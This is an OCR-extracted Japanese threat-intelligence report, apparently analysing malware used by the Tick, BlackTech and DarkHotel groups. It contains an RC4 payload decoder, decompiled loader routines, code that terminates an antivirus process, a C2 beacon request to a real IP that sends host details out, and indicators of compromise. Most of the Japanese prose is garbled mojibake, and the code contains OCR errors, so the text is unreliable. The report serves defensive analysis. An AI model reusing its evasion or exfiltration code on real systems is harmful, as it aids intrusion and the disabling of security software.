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F=URILDTFURINIICFyFO-RENFL
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RI=ZARYNI-IZAHN =T

TSCookie Loader®d— R (&, BKZRSRVNIEZTT
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# coding: UTF-8
import sys

RC4_KEY_LENGTH = 0x80

def rc4(data, key):

x=0

box = range(256)

for i in range(256):
X = (X + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box]i]

x=0

y=0

out=1]

for char in data:
X =(x+1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[X]
out.append(chr(ord(char) ™ box[(box[x] + box[y]) % 256]))

return ".join(out)

def main():
argvs = sys.argv
argc = len(argvs)

if (argc = 2):

print "python ./rc4-decrypt.py <encrypted file>"

quit()
enc_data = open(argvs[1], 'rb").read()
enc_data2 = enc_data[:-RC4_KEY_LENGTH]
embedded_key = "\x92\x5A\x76\x5D"
rcdkey = enc_data[-RC4_KEY_LENGTH:-4] + embedded_key
dec_data = rc4(enc_data2, rcdkey)

with open('rc4_decrypted', 'wb’) as decrypt:
decrypt.write(dec_data)

if _name__=="_ main__"
main()

10. BE{LT 7L EES TS Python RZZU T~

BSULIT7AILDOHHE. 7Y FOXAOBH 5H
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= Address Value

832h _stricmp

1 | 840h msvert.dll
| |895h SVWRQ
1 907h YZ_ [

911h |sVWRQ

963h YiZEai|
| 1975h VWSQR

| 9B3h rocA9F

9D8h |LoadLibraryA
ZY|>
IThis program cannot be run in DOS mode.
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XEU EICO—RENBDLLOZFE. "Front-
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74 )L EE G kernel32.d11" %" gdiplus.dll” Z#DEH D
HEELF TN, RIETIE. "FrontShell_Atlan-

T;¢C::i_lI:|O"JS-39E' dw O

tis_[Mark].dII" WS BIRDDLLZERAI L TVWE T, &
DODLLOZEF. T AR— MEEE “PrintF" ©DLLAER
[CIEHIAFNTVSRERRZESULE T,

aFrontshellAtla 'FrontShell Atlantis_[Mark].dll’,
Bl aPrintf db 'PrintF’',0 DATA XREF:
ta:100058BE align 800h
10005E rdata ends

12. DLL 77 AL D&FR

.Text:1000430C
.text:1000430C

I -] =

.Cext:100042FE ; Exported entry l. PrintF
.text:100042FE

.text:100042FE

.text:100042FE

.Cext:100042FE public PrintF
.Cext:100042FE PrintF proc near
.Cext:100042FE 68 34 €2 00 10 push offset junk_ 10006234
.text:10004303 E& 05 00 00 00 call sub 1000430D
.Cext:10004308 59 pop ecx

.Cext:10004309 e 01 push 1

.text:1000430B 58 pop eax

.Cext:1000430C C retn

PrintF endp

13. BS{EETN TV SR ERRZRERICTE T Eiff

DLLICE®HATN TV REIBR (U1 X:2936/V4(

b) BRCATHES{IEEINTLEIH. T TRESEI—

ROFEEE128/N1 bHRELTEDNTVET, DLLIC

10 https://github.com/JPCERTCC/aa-tools/blob/master/tscookie_data_decode.py
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PLEAD Loader

LY

PLEADI[Z. BES{E1—RZREBICEDIAATE.,

lstrcath(

lstrcath

Strcat |

strcat |
strcat (
strcat |

_______

qmemcpy (& ke

idx = 0;
=k ) )
{

do

{

*( BY
}
while (

1

4

operator delete(
aa RC4(ske
return aa rolS5 hash((

, alfaakadhooniijf);
, aBmfcoehnojfgho):;

>d, aMcnkgnhmlbhhni);

, aKoedgngbcjmehe) ;

ed, aEdnicofflcfafj):;

i, aEknohjkhkbemfp):
i, aGofcedaatfbokco):;
:d, aCdbjjkghoeocoh):;

, @Gmjaihjoplhafa);

, aFnfhkfdfgiofbl);

, 0x20u):

£, al);

EWER P O —F BARRS YA N—TREFF—IDEE 20

ERE

XOR+RCATES LY TV I—RZXEVULICERTS
WEZEITVWETD,

)

== (OxB3E6D7ES3;

14. PLEAD BES{E0— RESLIE
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1
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2019 LHAICTSCookieL@#RIC. BIDT 7 A ILh SBE
SEI—RZFHHACYT A FOGFEZHRLE LT

PLEAD Loader

SHA256: 39d69518c17e03eb0908321b9b49
32a8bbb0fe8b6e89c81422adadeb5cbbOefda
ESET7A)

SHA256: daB813f0ef85b0abc8df4df72ded432
25704b179b575e210319e55f0432ec171
PLEAD Loader(d. AU 7 # LS ICHRDESEEI NI

while (1)
{

F

T7AIVHEFET D ZEIELE T,

77 1 VERRDEM(F. TSCookie Loader& [FERY .
T7A4IWHARXET7A4ILDROLER—ZAD/\Y Y 21{ET
g (B15) . BSET7AIVHRDD > 2BEEF. K
FRIETNTLBPLEAD EE#kICXOR+RC4ATES UE
9, BHTHRAULCREGE., T71ILY4XH'28,604
NA RT. Ny 2fEHNOXBAC1360FT LT,
MHANAB LT —A TR, BSET 71 I)LH"desk-
top.ini" WS ZIT. PLEAD Loaderc@U 7 # LS
[CERBETNTLX U,

if ( !lstrcmpA(FindFileData.cFileName, asc_407038)
|| 'lstrcms 1dFi ca.cFileName, asc_407034)
|| FindFileData.dwFileAttributes & 0x10
|| Find ata.nFileSizeHigh
|l Findt ata.nFileSizelow !'= ze )
{
goto NEXT;
}
lastrcpyA(&fpath, & Bname) ;
(& 5 .cFileName) ;
= fopen(s , aRb);
if ( )
{
fread(buf, 1lu, size, fp):;
fclose (v5);
if ( aa_rolS5S_hash((unsignec *)buf, size) == 0x6AC1360F )
break;
}
latrcat = (vcC § | latrcath;
NEXT:
if ( !'FindNextFileA(v3, &FindFileData) )

goto CLOSE;

—

t=1;

15. PLEAD Loader 7 74 JLiEZRNIE

AEY EICEBRINEY ZILO—RIE. HETA S
TJ7A)WEHTTPTSY O O0—RUET, {ERODPLEAD
&, BEDI—H—I—I TV rEF->TLILED, &

RI=H2YNI-H AR S

PLEADIE. BEmEADLIRAMUICEESNTND1—
Y—I—-IJ1VhZEESKSCEEINTLE L
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HKEY_CURRENT_USER\Software\Microsoft\Win-

dows\CurrentVersion\Internet Settings\User

Agent

CDOUIRANUDBBRDINSKRWVIESIE, ” Mozilla/4.0
(compatible; MSIE 8.0; Win32)"#1—H%'—I—3Jx
YV RNCEWET,

00260578 Xor edi, edi
0026057D mov ecx, 24h
00260582
00260582 loc_260582: CODE XREF
00260582 push edi
00260583 loop loc_260582
00260585 call loc_2605AD
00260585 ; ———————————————- o
00260584 aMozilla40OCompa db|'Mozilla/4.0 (compatible SIE 8.0)',0
1002605AD ; ——————————————m
16. 2018 £ PLEAD
mov ecx, [esp+ll0h+var EC]
lea edx, [esp+ll0h+var E4]
mov [esp+110h+var DE], bp
push i
mnov
push
push
mov [ ar Eg8], 1
mov [ ar E4], 55h :
mov [ ar E2], 73h '
mov [ ar E0], di
mov [ ar DC], bp
mov [ rar DA], 41h :
mov [ rar_DE8], &7h ,
mov [ rar D&], di
mov [ ar D4], bx
mov [ 1Ch+var D2], si
call [ecx+AFI.advapi32 RegQueryValueExW]
test eax, eax
17. 2019 £ PLEAD User Agent L YR MU SR HAGEFR

RI=H2YNI-H AR S
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B NESNEOES

R&IC. EY—ILTHBTSCookie EPLEADIF EIHY
[CHRZERSNTHY., T7AIVBEETORENKYE
HICIEO>TVET . HBDERXEX—IVTISDRIANY
—IDUVIEEMU, RIVD TP ZEXT BETHS
NFIH, ZOMICHHADBEKBZR > >TVILY
I7ZEET BENRERESNTNTT 2, BHD1
VTV MRBICHSVTH., BERSEIMEARBER L

cxmm
.
e

H=ll=pr=F
Windows Server
Liriue

EXERT PO—F BFEASYAN-IRELF —IOBE 2010FE LA

BON3BRNH ) FUc, Ffc. WindowsDEFimAR
Rt Y=—N=T7 - LATOREDHERINTLE
Jo AV —2v hDSEET7 T EATERVWHRY—/N
—[F. 0SO7 v FF—hPNyFEA. EFaUT 1R
BODBANRREESNABTIN, BEKBOT7—LD
I7D7 VT T—hP. Y—N=T 7 - LOBERFDOHE
BRECHARLTEINFEEBVE T,

P>

LA Ble—3F

18. BlackTech IIZ D' IL—T DR AZRIE & BIRE

11 https://piyolog.hatenadiary.jp/entry/20180119/1516391079

12 https://wwwawelivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/
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B NESNEOES

Tick
2019F7RIEERMEMICEE I NI X—ILDRFFIC
SENBWindows7#ILFD7A AV ZF DT 7 )b
(sha256: 32db-
fc069a6871b2f6cc54484c86b21e2f13956e3
666d08077afa97d410185d2) IF. EITENB &,
UY—RET723VICEFNBRITIT7AILZ~dmDZH]
ESEHBITDIF T, Yotemp% I LS ITIERLE T
(~dmXXXX.tmp XXXX[FSVF'L) -

® RAKH

® NICT7S FI—D1EHR

O VAN =ILENTWVBPVFI4ILAY T NREDIEER
® OSD/N—T3v

® CPU1EHR

S UI=BRIE. BESLURID™?2UID="&"?ws="DIED
BAICIYI—REINEXFINEULTHIULTEESINE
9, "?UID="0DfEICIF. KA MRBENICT ST SI—DIE
#HzE. 123450 1)RLTX0OR+Base64T > J1—R
UFefENMT IS NE T, "?ws="DIEIC(F. 7VFI )b
AV T NOFARREE. OSON—Y' 3>, CPUERDMA
HEDHEN., Base64I Y A—RENTEEEINF T,

EXAFTNLET7AIIE ~dMtmpD T 7AILBDFEFE
TSN, B5%Zavirra.exeDEFICEELT, BECET
> ~hU—7%ZSOFTWARE¥¥Microsoft¥¥Windows¥¥Cur-
rentVersion¥¥RunlCRavirraDZa1 CER LE 35 it
T. BEPOFOERIC. PccNT.exe (RLYRT4A470
HO7VFUAINWAYV IO 7 ZE#HLUEEBDNS) HY
BRHEINZ EINDELZH & BERIENDSRDERZ
WSLET,

EESNLBRICEILVTROTILD I 7AYo rO—R
TNT. F1TnNBd9ouro0—-5-¢9, 1—9-I1—-Y
IV hDfE"Mozilla/4.0(compatible;MSIE8.0;Win-
dowsNTB.0;Trident/4.0)" [CE4FEN B, BREIFI
——I-JzVMEOELZIOV,DEAICHDIETD
AR=ZANHB N FE Ao

GET /TerminFold/ldsjr.php?UID=UntwcGBsS1cANTMyMjwBMDIyMjA=Ews=MzIxMnVua29udw== HTTPF/1.1
User-Agent: Mozilla/4.@0(compatible;MSIES.®@;WindowsNT6.0;Trident/4.0)

Host: 27.255.90.158

19. 990—9—-0 URI TIRIZEEHZREIT 3B EE 1Y —I-IJTVME
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ENREOEREEWEKR O—F 852E53 9 N—ITAEZFF—ID8E 20]

basebd

encoded "UntwcGBsS1c@NTMyMjw@MDIyMjA="
encodedl "Mz IxMnVuaZ9udw=="

decoded - - baseb4.b6ddecode(encoded)
b.=.bytearray(decoded)

j
i range(len(b)):

j .

]
b[i] j
j-=-3
"UID:".-+-b
"ws:" . +.baseb4.bb64decode(encodedl)

UID:SystemIT@@2018110165
ws:3212unkonw

B 20 UID & ws {ED Python 33— Rl

TickZ'IW—FIC K BDHEESHORESCERAIEI NI D Ot A=EIETBEMHFELILTVETD,
vO—9"—&5anSd v yO0—5—Tld. PccNT.exe”

while ( 1 )
{
vl = CreateToolhelp32Snapshot(@xFu, @);
pe.dwSize = 296;
if ( Process32First(vl, &pe) )
{
do
{
if ( !strcmp(pe.szExeFile, "PccNT.exe") )
{
OpenProcess(lu, @, pe.th32ProcessID);
v2;

(v2)

s
=, Ll R

i
{
TerminateProcess(v2, 9u);

CloseHandle(v3);
}
¥
¥
while ( Process32Next(vl, &pe) );
}
CloseHandle(vl);

}

H21. fbYRTr70#0T7O0ERAZELTHI—R
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ERRIEORES WER 7 TO—F BAEAS YA N—TAELF —IDHE 2018

RO O O—F —ZE > cHBF. EELJ#TELT
BRASTNTVET, BEEXT 7AIIF. EXETIF R HETT
HZERET B0ffice 77 AMILHEODNZ T —XBH U F
9, ovO—5F—F. 1—4—-I—Iz2VhDME. N&E
IBER. T7AIWBAXDNF VD, Jvr72—R

Gl

TV RTOEANSIE. TickZIL—TOHEDIREDE
W XTI 7T rO0——([CEEZIMADDOH
BZTL. BALCH UGS, 9005 —0D%IC

EARAT. 2 RRATERATZEE U SKHEZITOT
WBEEZATVE T, BARICEAISINIZRATICONT

BE, I—RZEDULIDEELTEODNTVE T, 1YY (. BHOLFIOLR— MMICEEHELTVET,
HAEA EiZEE S AIEBEEN
)(_)IJOD//J\A_Iﬁ/E;E ZJK_E
Y 9ovO—9—=DUTDOERH
ppSX(Exploit)
DOCExploit)
Ry D R HsH
EXE(Dropper)
(Source IP,CPU,etc.) XEL
2 e > = - o

22. Tick ZIV—70XE 70—
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EWENEOEEE WK TO—F BEAEESYAN-—IAEFF—IDEE 2019

| meo—FzenTTPs (8. i, FiE)

2019F EHMEVSHABB TOREIIL-TFTED
TTPs & IRHEBZERCTAEINICEELE T,

eI IW— IZ?D TTPs Erosas
Tick QI TP DEEDEH k22, &=
(Bronze Butler) X—UFE T 7 A IVICEEND (EXE)

IJ2Z270O04 b : N/A

FIRT3Y—IL-JNWDI7 :

SHyo—9'—

Datper

O—9'—RAT' &%

C2iBENIFH :
SHyO0—9—N1—5—I—I TV MNEFEHIES
(BHDAVF«—98R), N—JaVICL>TERD

BlackTech QI T 7 DEEDLFE - N/A U —F, 8K,
IJ2AO414b: JUT1hILbA2V TS
BIEHEEDEEEEER

FIRITBI Y= -TIDIxT:

PLEAD. TsCookie

C2 EENTHH :

1—Y—I—Izr MEFEH'DD

(BHDA VT« r—9IBR). RELFERBDT—ADHD

DarkHotel Y 7 DEEDISH : X T BhE
A—=JLAND URL UV T
X—)LiiM3 T 7 4 )L (Office ¥20)
IZ2Z27O04 b 1 N/A

FIRITBI Y= -7 :
PowerShell

Ssorvo—5—

C2;BEN15#E - N/A

{ .
‘k{?:tzwhv—aztﬁki\tﬁ*i 1]



ENEINEBOEELENER P O—F B58E5 A N-IAEFF—I08E 20195 L

| T7Ps suzmTRERORBCEDS

RILY 7 DEEICONT
BHWAKBOIRERTHDTILY T 7 DEXTIE.
TickB IV — T I X —ILDRNTRITT 7 1 L ZBE
U. DarkHotelHB I IL—FFEX—)LORFMTY IO
F0fficed T 7 A IVEEELTWVWE T, —5T. Dark-
Hotel KRB TIL— &, X—ILDAXICURLDOY VT %
DFURLOU Y IN SIS IYO—RUIET 74/ )L7ZR<

MEICONT

OfficeDiEFTEHZHET BT 7 A LA BLEINBD T —R
e FEITH, EOFAMZHETDXISBT —RFEAE
NTH57. WyFIR—IAY MNIBWGERER
NF9I, Fie. BlackTechWB T )L—F XD BISH
HEREUTERAUTL ZOREMMERINTVLET 2

1A M=ILENBRAT. ERIEE (Ca&CIEONT)
BlackTechKIEZIL—T . YLDz 7DRAO—R
BozESINEADT 74ILEVTHELUREY ., 11—
P—I—J1r MEZREHABRODDICEELIZY.
BPUFEARTDIT7AIVAF v VICLDBE. Xy hD—T
BERICLDBHANDORRZREL VB EBDONET, —
AT, BECFALE XL VROFAY. DLREFT
BU1-—Y—-I—-J1YMEZEO>TVNRERENS. B
HDAVF4r—9%FES>T. Xy NTJ—00O7ZBEIC
THDEFE>TRERITZERFBRHAZRET 2EIBHEER
bnEd. Fre. A VYTV IMRIRTOHEATE, U—
N=T 7 — L TOREHREIC, MRPRHEE CTRND

13 https://i.blackhat.com/USA-19/ Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf

ETHENHIBIND X OIBHEDTOTVET, X—)b
WEDT—RTIF. A=V YRRy IZATHRAGT 7 A
DREMZERT DL S BHRNMBEHEEDODNE T, —
5. URLU YISO YO0—-RIBELSIBIT—RT
[F. WebZ i - HEELEV>IERRBDBAMELEEDONF
ER

BNAEKBEI I —TFICLDBRAORSEFERLESVFEA
. SSL-VPNEENNEBNSDBRARBERIEFSLD
BIBFHENRERINTVET S, NyFIR—IAY K
[F. WARPY—N—D0SEV I MY I 7REIFTIHRL, &
ERBOLIRICTBLIEREIFNELEBNET,

BOKLSFELTLEEL,
TickZW—0F o rO0—9—F. N BREENZL T
VRIRAV b XYy RD—=TJEBHITHRENBZ TR BRVE
BoNFT EFOHATREI-—Y—I—I T MTHH
&%) . Ffe. DarkHotel KB I IL—THHREBOFO%
FKEBULTCETCLBREEDNE T, INHSADT1DOD7
FO—-FF. HBO®BFDT 1 —ACTHRIEVICEET D
RATHE)EBHED U E—FIVY RZER - RHT
BENHVFT, Foo FUEIHEDT T —XTlE. Office

774 )bHh 5PowerShell"E£ITE N3 R ESOEAIE
NI —2V%ZEDRRBETER - RATIFLEMER
HnxEI,.
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RHRIIE

| waocvzur—s

Tick & (SHA256)

(Bronze Butler) 91 1fbd95e39db95dbfa36ff05d7f55fc84686bbe05373fc2f351eb76a15d9d74
337d610ebcc9c0834 124132 15e0fe3daBd7efebb 14fa4d829d5fc698deca227d
706a6833b4204a89455f14387dbfc4903d18134c4e37c184644df48009bc5419
58b06982c 19f595e5 1f0dc553 1f6d60eBb55f775fale 1b12ffd89d7 1ce896688
04fec91f13ea96bc9Yad446895d870a31991abd623288504b8c707d97905eaa8d
fb0d86dd4ed62 1b67dced 1665b5db576247a10d43b40752¢c1236be783ac 11049
d1307937bd2397d92bb200b29eeaace562b104741ff 19f00 13335e37a80265be6
32dbfc069a687 1b2f6cc54484c86b21e2f13956e3666d08077afa97d410185d2
Z0fth :

User-Agent {&

Mozilla/4.0(compatible;MSIE8.0;WindowsNT6.0; Trident/4.0)

BlackTech %% (SHA256):

TSCookie Loader

dB66cb043a9f3b4 186ceba1824d9aB607 1ee2956cch0c9744387e5baaf0ac88d76
BSIEI7 IV

5cdec 1ee36deb09d 1cab2f6b7ced4f 1cch9cfdb589d46d 12b79e6f9599ec0 14
PLEAD Loader

39d69518c17e03eb090832 1b9b4932a8bbb0fe8b6e89c8 1422adade5cbbOefda
BSIEI7 IV
daB813f0ef85b0abc8df4df72ded43225704b179b575e210319e55f0432ec171
GRENEEBFEBENIISENEAF Y=
f451c943be3ae1ac9c773484449696ea5629777b19b1ad66d334e0d5b8e8330a
f30b8f26ea4ee498b5e 1047 1a0ba720e2c21210bc57440409533d6b072d95153
ca:

appstore.androiddatacenter[.Jcom

http[:]//ddc.phonewebex[.Jcom:44.3/index.php

Z0fth :

User-Agent {E ( ZifRD User Agent LY XA MUIE)

Mozilla/4.0 (compatible; MSIE 8.0; Win32)

DarkHotel #®{&¥ (SHA256):

bB63dbd4edc8efOcb4f8fc92546 130b68e5275e6fc5fdef93f1646¢cf65cab3977
94c5al6cd1bBaf3d545b1d60dff38dc8ad683cBe 122fb577d628223dd532ab5a
ca:

http[:1//37.220.0[.141/sd.ps 1

http[:]//37.220.0[.]4 1/Doc1.bin
http[:]//think-japan[.]net/SYSTEMZ2/delSettingdsufytgdsuyf.php
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